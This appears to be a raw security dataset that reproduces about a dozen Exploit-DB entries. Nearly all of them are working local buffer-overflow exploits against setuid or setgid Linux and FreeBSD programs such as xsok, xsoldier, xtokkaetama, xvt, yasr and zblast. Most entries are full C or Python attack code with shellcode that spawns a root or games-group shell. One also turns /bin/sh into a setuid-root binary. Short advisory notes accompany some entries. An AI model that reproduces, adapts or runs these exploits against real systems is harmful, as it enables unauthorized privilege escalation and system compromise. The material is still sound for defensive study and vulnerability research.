deardaniel/secdata-raw huggingface dataset:
Exploit-DB #140
Description: XSOK 1.02 - '-xsokdir' Local Buffer Overflow Game
Type: local
Platform: linux
Date: 2004-01-02
Author: c0wboy

Exploit:
/* 0x333xsok (2) => xsok 1.02 local game exploit
 *
 *  Happy new year ! (2 :)
 *  coded by c0wboy 
 *
 *  (c) 0x333 Outsiders Security Labs / www.0x333.org
 *
 */


#include <stdio.h>
#include <unistd.h>

#define BIN     "/usr/games/xsok"
#define RETADD  0xbffffa3c
#define SIZE    200


unsigned char shellcode[] =

	/* setregid (20,20) shellcode */
	"\x31\xc0\x31\xdb\x31\xc9\xb3\x14\xb1\x14\xb0\x47"
	"\xcd\x80"

	/* exec /bin/sh shellcode */
	"\x31\xd2\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62"
	"\x69\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80";


	
int main (int argc, char ** argv)
{
	int i, ret = RETADD;
	char out[SIZE];

	fprintf(stdout, "\n ---   0x333xsok => xsok 1.02 local games exploit   ---\n");
	fprintf(stdout, "   ---       Outsiders Se(c)urity Labs 2003       ---\n\n");

	int *xsok = (int *)(out);

	for (i=0; i<SIZE-1 ; i+=4, *xsok++ = ret);

	memset((char *)out, 0x90, 63);
	memcpy((char *)out+63, shellcode, strlen(shellcode));

	execl (BIN, BIN, "-xsokdir", out, 0x0);
}

// milw0rm.com [2004-01-02]
Exploit-DB #19676
Description: xsoldier (FreeBSD 3.3/Linux Mandrake 7.0) - Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2000-05-17
Author: Brock Tellier

Exploit:
// source: https://www.securityfocus.com/bid/871/info

Certain versions of FreeBSD (3.3 Confirmed) and Linux (Mandrake confirmed) ship with a vulnerable binary in their X11 games package. The binary/game in question, xsoldier, is a setuid root binary meant to be run via an X windows console.

The binary itself is subject to a buffer overflow attack (which may be launched from the command line) which can be launched to gain root privileges. The overflow itself is in the code written to handle the -display option and is possible to overflow by a user-supplied long string.

The user does not have to have a valid $DISPLAY to exploit this.

/* 
* xsoldier exploit for Freebsd-3.3-RELEASE
* Drops a suid root shell in /bin/sh
* Brock Tellier btellier@usa.net
*/


#include <stdio.h>

char shell[]= /* mudge@l0pht.com */
 "\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
  "\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
  "\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
  "\x9a>:)(:<\xe8\xc6\xff\xff\xff/tmp/ui";

#define CODE "void main() { chmod (\"/bin/sh\", 0004555);}\n"

void buildui() {
FILE *fp;
 char cc[100];
 fp = fopen("/tmp/ui.c", "w");
 fprintf(fp, CODE);
 fclose(fp);
 snprintf(cc, sizeof(cc), "cc -o /tmp/ui /tmp/ui.c");
 system(cc);
}

main (int argc, char *argv[] ) {
int x = 0;
int y = 0;
int offset = 0;
int bsize = 4400;
char buf[bsize];
int eip = 0xbfbfdb65; /* works for me */
buildui();

if (argv[1]) { 
  offset = atoi(argv[1]);
  eip = eip + offset;
}
fprintf(stderr, "xsoldier exploit for FreeBSD 3.3-RELEASE
<btellier@usa.net>\n");
fprintf(stderr, "Drops you a suid-root shell in /bin/sh\n");
fprintf(stderr, "eip=0x%x offset=%d buflen=%d\n", eip, offset, bsize);

for ( x = 0; x < 4325; x++) buf[x] = 0x90;
   fprintf(stderr, "NOPs to %d\n", x);

for ( y = 0; y < 67 ; x++, y++) buf[x] = shell[y];
   fprintf(stderr, "Shellcode to %d\n",x);
 
 buf[x++] = eip & 0x000000ff;
 buf[x++] = (eip & 0x0000ff00) >> 8;
 buf[x++] = (eip & 0x00ff0000) >> 16;
 buf[x++] = (eip & 0xff000000) >> 24;
   fprintf(stderr, "eip to %d\n",x);

buf[bsize]='\0';

execl("/usr/X11R6/bin/xsoldier", "xsoldier", "-display", buf, NULL);

}
Exploit-DB #229
Description: xsoldier 0.96 (RedHat 6.2) - Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-12-15
Author: zorgon

Exploit:
#include <stdio.h>
#include <stdlib.h>

#define NOP 0x90
#define BUFSIZE 4408
#define OFFSET 0 
#define RANGE 20
 
unsigned char blah[] =
  "\xeb\x03\x5e\xeb\x05\xe8\xf8\xff\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x6c\x80\x36\x01\x46\xe2\xfa"
  "\xea\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01"
  "\x54\x88\xe4\x82\xed\x1d\x56\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xc7\x11"
  "\x01\x01\x8c\xba\x1f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01\x88\x7c\xf9\xb9"
  "\x47\x01\x01\x01\x30\xf7\x30\xc8\x52\x88\xf2\xcc\x81\x8c\x4c\xf9\xb9\x0a\x01"
  "\x01\x01\x88\xff\x30\xd3\x52\x88\xf2\xcc\x81\x30\xc1\x5a\x5f\x5e\x88\xed\x5c"
  "\xc2\x91";

long get_sp () { __asm__ ("mov %esp, %eax"); }

int
main (int argc, char *argv[])
{
  char buffer[BUFSIZE];
  int i, offset;
  unsigned long ret;

  if (argc > 1)
    offset = atoi(argv[1]);
  else
    offset = OFFSET;

  for (i = 0; i < (BUFSIZE - strlen (blah) - RANGE*2); i++)
    *(buffer + i) = NOP;

  memcpy (buffer + i, blah, strlen (blah));

  ret = get_sp();	
  for (i = i + strlen (blah); i < BUFSIZE; i += 4)
    *(long *) &buffer[i] = ret+offset;

  fprintf(stderr, "xsoldier-0.96 exploit for Red Hat Linux release 6.2 (Zoot)\n");
  fprintf(stderr, "zorgon@antionline.org\n");		
  fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", ret + offset, offset, BUFSIZE);
  execl ("./xsoldier", "xsoldier", "-display", buffer, 0);
}


// milw0rm.com [2000-12-15]
Exploit-DB #186
Description: xsplumber - 'strcpy()' Local Buffer Overflow
Type: local
Platform: linux
Date: 2000-11-17
Author: vade79

Exploit:
/*
   (linux)splumber[version2] buffer overflow, by v9[v9@fakehalo.org].  this is
   a misc. exploit for the linux-SVGAlib space plumber game.  which, as you
   know needs to be installed setuid root.  this overflow is due to a simple
   oversight in the command line parser.  uses strcpy() to copy to an unchecked
   250 byte buffer.

   note: i also noticed, other than just being setuid root in the makefile, it
         sets splumber's permissions to 4777. *g*

   ...and here is the perl script for the lazy person:

   #!/usr/bin/perl
   $i=$ARGV[0];
   while(1){
    print "using offset: $i.\n";
    system("./xsplumber $i");
    $i+=50;
   }
*/

#define PATH "/usr/games/splumber"	// change to the correct path.
#define BUFFER_SIZE 257			// don't change.
#define DEFAULT_OFFSET -300		// worked for me.

static char exec[]=
  "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f\xb8\x1b\x56"
  "\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
  "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01"; // still like it.

long esp(void){__asm__("movl %esp,%eax");}
int main(int argc,char **argv){
  char bof[BUFFER_SIZE];
  int i,offset;
  long ret;
  if(argc>1){offset=atoi(argv[1]);}
  else{offset=DEFAULT_OFFSET;}
  ret=(esp()-offset);
  printf("*** (linux)splumber[version2] local buffer overflow, by v9[v9@fakehalo.org].\n");
  printf("*** return address: 0x%lx, offset: %d.\n",ret,offset);
  for(i=0;i<(252-strlen(exec));i++){*(bof+i)=0x90;}
  memcpy(bof+i,exec,strlen(exec));
  *(long *)&bof[i+strlen(exec)]=ret; // perfect, not lazy for once.
  bof[BUFFER_SIZE-1]=0;
  if(execlp(PATH,"splumber",bof,0)){
    printf("error: program did not execute properly, check the path.\n");
    exit(0);
  }
}


# milw0rm.com [2000-11-17]
Exploit-DB #322
Description: Xt Library - Local Privilege Escalation
Type: local
Platform: linux
Date: 1996-08-24
Author: b0z0 bra1n

Exploit:
#include 
#include 
#include 

#define DEFAULT_OFFSET          0
#define BUFFER_SIZE             1491

long get_esp(void)
{
   __asm__("movl %esp,%eax\n");
}

main(int argc, char **argv)
{
   char *buff = NULL;
   unsigned long *addr_ptr = NULL;
   char *ptr = NULL;

   char execshell[] = "\xeb\x23" "\x5e" "\x8d\x1e" "\x89\x5e\x0b" "\x31\xd2"
   "\x89\x56\x07" "\x89\x56\x0f" "\x89\x56\x14" "\x88\x56\x19" "\x31\xc0"
   "\xb0\x3b" "\x8d\x4e\x0b" "\x89\xca" "\x52" "\x51" "\x53" "\x50"
"\xeb\x18"
   "\xe8\xd8\xff\xff\xff" "/bin/sh" "\x01\x01\x01\x01" "\x02\x02\x02\x02"
   "\x03\x03\x03\x03" "\x9a\x04\x04\x04\x04\x07\x04";

   int i, ofs=DEFAULT_OFFSET, bs=BUFFER_SIZE;

   if(argc>1)
        ofs=atoi(argv[1]);
   if(argc>2)
        bs=atoi(argv[2]);
   printf("Using offset of esp + %d (%x)\nBuffer size %d\n",
        ofs, get_esp()+ofs, bs);

   buff = malloc(4096);
   if(!buff)
   {
      printf("can't allocate memory\n");
      exit(0);
   }
   ptr = buff;
   memset(ptr, 0x90, bs-strlen(execshell));
   ptr += bs-strlen(execshell);
   for(i=0;i < strlen(execshell);i++)
      *(ptr++) = execshell[i];
   addr_ptr = (long *)ptr;
   for(i=0;i < (8/4);i++)
      *(addr_ptr++) = get_esp() + ofs;
   ptr = (char *)addr_ptr;
   *ptr = 0;
   execl("/usr/X11R6/bin/xterm", "xterm", "-fg", buff, NULL);
}


// milw0rm.com [1996-08-24]
Exploit-DB #22984
Description: Xtokkaetama 1.0 b-6 - Nickname Local Buffer Overflow (1)
Type: local
Platform: linux
Date: 2003-08-04
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/8337/info

xtokkaetama is prone to a locally exploitable buffer overflow vulnerability. This is due to insufficient bounds checking of the '-nickname' command line option, which could result in execution of arbitrary code in the context of the software. 

The software is typically installed setgid 'games'.

/* (linux/x86)xtokkaetama[v1.0b+]: (games) local buffer overflow exploit.
   by: v9[v9@fakehalo.deadpig.org]. (fakehalo)

   exploits an overflow missed in the patch/upgrade of:
    https://www.securityfocus.com/bid/8312

   fix:
    xtama_score.c:132: +strncpy(name,nickname,sizeof(name)-1);
    xtama_score.c:132: -sscanf( nickname , "%s",name ) ;

   (tested on non-debian, should still work elsewhere)
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <grp.h>
#include <sys/types.h>
#define PATH "/usr/games/xtokkaetama" /* game binary. */
static char exec[]= /* setgid(?)+shell.               */
 "\x31\xdb\x31\xc9\xb3\x00\xb1\x00\x31\xc0\xb0\x47\xcd"
 "\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"
 "\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"
 "\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";
int main(){
 unsigned int i;
 char *buf;
 struct group *gent;
 printf("(*)xtokkaetama[v1.0b+]: local buffer overflow exploit.\n");
 printf("(*)by: v9@fakehalo.deadpig.org / fakehalo.\n\n");
 if(!(buf=(char *)malloc(16384+1)))exit(1);
 memset(buf,0x90,(16384-strlen(exec)));
 if(!(gent=getgrnam("games")))exec[5]=exec[7]=20;
 else{exec[5]=exec[7]=gent->gr_gid;}
 strcat(buf,exec);
 setenv("EXEC",buf,1);
 memset(buf,0x0,(16384+1));
 for(i=0;i<512;i+=4){*(long *)&buf[i]=0xbfffe001;} 
 printf("[*] in the game, hit: spacebar, \"Q\", spacebar, spacebar.\n");
 sleep(3);
 printf("[*] entering xtokkaetama...\n");
 if(execlp(PATH,PATH,"-nickname",buf,0))
  printf("[!] failed to execute %s.\n",PATH);
 exit(0);
}
Exploit-DB #22985
Description: Xtokkaetama 1.0 b-6 - Nickname Local Buffer Overflow (2)
Type: local
Platform: linux
Date: 2003-08-04
Author: techieone@softhome.net

Exploit:
// source: https://www.securityfocus.com/bid/8337/info
 
xtokkaetama is prone to a locally exploitable buffer overflow vulnerability. This is due to insufficient bounds checking of the '-nickname' command line option, which could result in execution of arbitrary code in the context of the software.
 
The software is typically installed setgid 'games'.

/*
 ** Linux/BSD x86 exploit vs xtokkaetama (c) gunzip
 ** I don't think you can do something nasty  
 ** with egid=games however (so this is mostly useless) 
 ** just written with the idea to make expl targetless.
 ** mostly ripped from gera's paper about bof :-o
 ** http://members.xoom.it/gunzip/
 ** gunzip@ircnet <techieone@softhome.net>
 **
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>

#define SIZE		20
#define PATH 		"/usr/games/xtokkaetama"

unsigned long STACKBASE() 
{
	__asm__ ( "movl	%esp,	%eax" );
}

/**
 ** linux and bsd execve shellcode by me
 **/
unsigned char shellcode[] = 	
	"\x31\xc0\x99\x52\x68\x2f\x2f\x73"
	"\x68\x68\x2f\x62\x69\x6e\x89\xe3"
	"\x52\x53\x89\xe1\x52\x51\x53\x54"
	"\x8c\xe0\x85\xc0\x75\x04\xb0\x0b"
	"\xeb\x02\xb0\x3b\xcd\x80";

int main( int argc, char *argv[] )
{
	unsigned long	i, ret ;
	unsigned char	buf[ SIZE + 1 ],
			* env[]= { shellcode, NULL },
 			* run[]= { PATH, "-display", buf, NULL };

  	ret = ( ( STACKBASE() & 0xffff0000 ) | 0xfffa ) 
		- strlen(PATH) - strlen(shellcode) ;

	memset( buf, 0, sizeof(buf) );
  
  	for( i = 0; i < sizeof(buf) - 4; i += 4 ) 
		*(unsigned long *)&buf[i] = ret;

  	if( execve( run[0], (char **)run, (char **)env ) ) {	
		perror( "execve" );
		exit( -1 );
	}
}
Exploit-DB #72
Description: xtokkaetama 1.0b (RedHat 9.0) - Local Game
Type: local
Platform: linux
Date: 2003-08-01
Author: brahma

Exploit:
/*
*  xtokkaetama 1.0b local game exploit on Red Hat 9.0
*               Coded by brahma (31/07/2003)
*
*       http://www.debian.org/security/2003/dsa-356
*/


#include <stdlib.h>
#define RETADDR 0xbfffff11 
#define DEFAULT_BUFFER_SIZE 29
#define DEFAULT_EGG_SIZE 512 
#define NOP 0x90
#define BIN "/usr/X11R6/bin/xtokkaetama" 
char shellcode[] =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

unsigned long get_esp(void) {
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[]) {
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;

if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) eggsize = atoi(argv[2]);


if (!(buff = malloc(bsize))) {
printf("Can't allocate memory.\n");
exit(0);
}
if (!(egg = malloc(eggsize))) {
printf("Can't allocate memory.\n");
exit(0);
}

addr = RETADDR; 
printf("Using address: 0x%x\n", addr);

ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;

ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;

for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];

buff[bsize - 1] = '\0';
egg[eggsize - 1] = '\0';

memcpy(egg,"EGG=",4);
putenv(egg);
execl(BIN,BIN,"-display",buff,NULL);
}



// milw0rm.com [2003-08-01]
Exploit-DB #20986
Description: Xvt 2.1 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2001-07-02
Author: Christophe Bailleux

Exploit:
// source: https://www.securityfocus.com/bid/2955/info

Xvt is a terminal emulator for systems using X11R6. It is often installed setuid/setgid so that it runs with the enhanced privileges required to log user sessions.

Xvt contains a buffer overflow in it's handling of the '-name' argument.

An attacker can exploit this buffer overflow to exploit arbitrary code with the enhanced privileges of Xvt. On some systems Xvt is installed setuid root. This may not be the case for all systems. 

/*

   /usr/bin/X11/xvt overflow proof of concept by cb@t-online.fr.

   tshaw:~$ ./expl
   bash#

*/

#include <stdio.h>
#include <stdlib.h>

int main()

{

    char buf[234];
    int i;

    char code[] =
        "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
        "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
        "\x80\xe8\xdc\xff\xff\xff/bin/sh";


    for(i=0; i<76; i++)
        buf[i] = 0x41;

    *(long *)&buf[76]=0xbffffab0; /* ret addr */

    memset(buf + 80, 0x90, 234);
    memcpy(buf + 233 - strlen(code), code, strlen(code));

    buf[234] = '\0';

    execl("/usr/bin/X11/xvt", "xvt", "-name", buf, 0);                           

}
Exploit-DB #39734
Description: Yasr Screen Reader 0.6.9 - Local Buffer Overflow
Type: local
Platform: linux
Date: 2016-04-26
Author: Juan Sacco

Exploit:
'''
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: General-purpose console screen reader
# Version: 0.6.9-5
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Yasr is a general-purpose console screen reader
for GNU/Linux and other Unix-like operating systems.
# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb
# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8
# Website: http://yasr.sourceforge.net/
#
#
# Starting program: /usr/bin/yasr -p $(python -c 'print "\x90"*258')
# [Thread debugging using libthread_db enabled]
# Using host libthread_db library
"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
# Program received signal SIGSEGV, Segmentation fault.
#
# 0x90909090 in ?? ()
#
#gdb$ backtrace
#0  0xb7fdebe0 in __kernel_vsyscall ()
#1  0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at
../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2  0xb7e34a23 in __GI_abort () at abort.c:89
#3  0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,
fmt=fmt@entry=0xb7f67715 "*** %s ***: %s terminated\n") at
../sysdeps/posix/libc_fatal.c:175
#4  0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696
"buffer overflow detected") at fortify_fail.c:31
#5  0xb7effc3a in __GI___chk_fail () at chk_fail.c:28
'''

import os, subprocess

def run():
  try:
    print "# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco"
    print "# This exploit is for educational purposes only"
    # JUNK + SHELLCODE + NOPS + EIP

    junk = "\x41"*298
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    nops = "\x90"*12
    eip = "\xd2\xf3\xff\xbf"
    subprocess.call(["yasr ",'-p ', junk + shellcode + nops + eip])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Yasr Console Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit Yasr 0.6.9-5 Local Overflow Exploit"
    print "Author: Juan Sacco"
  except IndexError:
    howtousage()
run()
Exploit-DB #30839
Description: Zabbix 1.1.4/1.4.2 - 'daemon_start' Local Privilege Escalation
Type: local
Platform: linux
Date: 2007-12-03
Author: Bas van Schaik

Exploit:
#include <sys/types.h>
#include <unistd.h>
#include <pwd.h>
#include <stdio.h>

int main() 
{
     struct passwd *pw;
     pw = getpwnam("abi");
     FILE *pipe;
     char buf[25];
     setgid(pw->pw_gid);
     setuid(pw->pw_uid);

     printf("my gid: %d\n", getegid());
     printf("my uid: %d\n", getuid());

     pipe = popen("/usr/bin/id", "r");
     while (fgets(buf, sizeof buf, pipe)) {
             printf("%s", buf);
     }
     printf("\n");
     pclose(pipe);
}
Exploit-DB #22745
Description: Zblast 1.2 - 'Username' Local Buffer Overrun
Type: local
Platform: linux
Date: 2003-06-06
Author: V9

Exploit:
// source: https://www.securityfocus.com/bid/7836/info

A vulnerability has been reported for zblast, an svgalib-based game. The problem occurs when copying data from a user-supplied environment variable into a static memory buffer. By storing excessive data within the variable, it may be possible for an attacker to corrupt process memory, ultimately resulting in the execution of arbitrary code.

/* (linux)zblast/xzb[v1.2]: local buffer overflow.
   by: v9[v9@fakehalo.deadpig.org].

   zblast/xzb is a common svgalib/X game, included on
   www.svgalib.org's program downloads:
    http://www.svgalib.org/rus/zblast/index.html

   this exploit gives uid=20(games), using the X version
   of zblast.  both versions are based of the same code,
   except for the fact privileges are only dropped in the
   svgalib version:
    zblast.c:2095:#ifndef USE_X
    zblast.c:2096:setuid(getuid()); setgid(getgid());

   now for the point/fun of this.  you have to make it to
   the high scores in the game to exploit this :), as it's
   done when writing the high scores.  although, if there
   is a blank spot in the high scores you can just make
   it happen by typing <enter>, then <esc>.

   file stats(from install):
    -r-xr-sr-x root games /usr/local/games/xzb
    -r-sr-sr-x root games /usr/local/games/zblast

   the bug itself(simple enough):
    hiscore.c:124:void writescore(int score)
    hiscore.c:129:char name[1024],*ptr;
    hiscore.c:133:if((ptr=getenv("ZBLAST_NAME"))==NULL)
    hiscore.c:136:if((ptr=getenv("USER"))==NULL)
    hiscore.c:137:if((ptr=getenv("LOGNAME"))==NULL)
    hiscore.c:148:if(ptr!=NULL) strcpy(name,ptr);
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define PATH "/usr/local/games/xzb" /* X binary.     */
#define DEFAULT_OFFSET 500 /* for typical small env. */

static char exec[]=
 "\x31\xdb\x31\xc9\xb3\x14\xb1\x14\x31\xc0\xb0\x47\xcd"
 "\x80\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56"
 "\x07\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34"
 "\x12\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80"
 "\xe8\xd7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x01";

long esp(void){__asm__("movl %esp,%eax");}

int main(int argc,char **argv){
 char buf[1040];
 int i,offset;
 long ret;

 printf("(*)zblast/xzb[v1.2]: local buffer overflow.\n");
 printf("(*)by: v9@fakehalo.deadpig.org / fakehalo.\n");

 if(argc>1){offset=atoi(argv[1]);}
 else{offset=DEFAULT_OFFSET;}
 ret=(esp()-offset);

 printf("return address: 0x%lx, offset: %d.\n",ret,offset);
 /* alignment will never need to be changed. */
 for(i=0;i<sizeof(buf);i+=4){*(long *)&buf[i]=ret;}
 for(i=0;i<(1000-strlen(exec));i++){*(buf+i)=0x90;}
 memcpy(buf+i,exec,strlen(exec));
 setenv("ZBLAST_NAME",buf,1); /* or $USER/$LOGNAME. */
 if(execlp(PATH,PATH,0))
  printf("* failed to execute %s.\n",PATH);
 exit(0);
}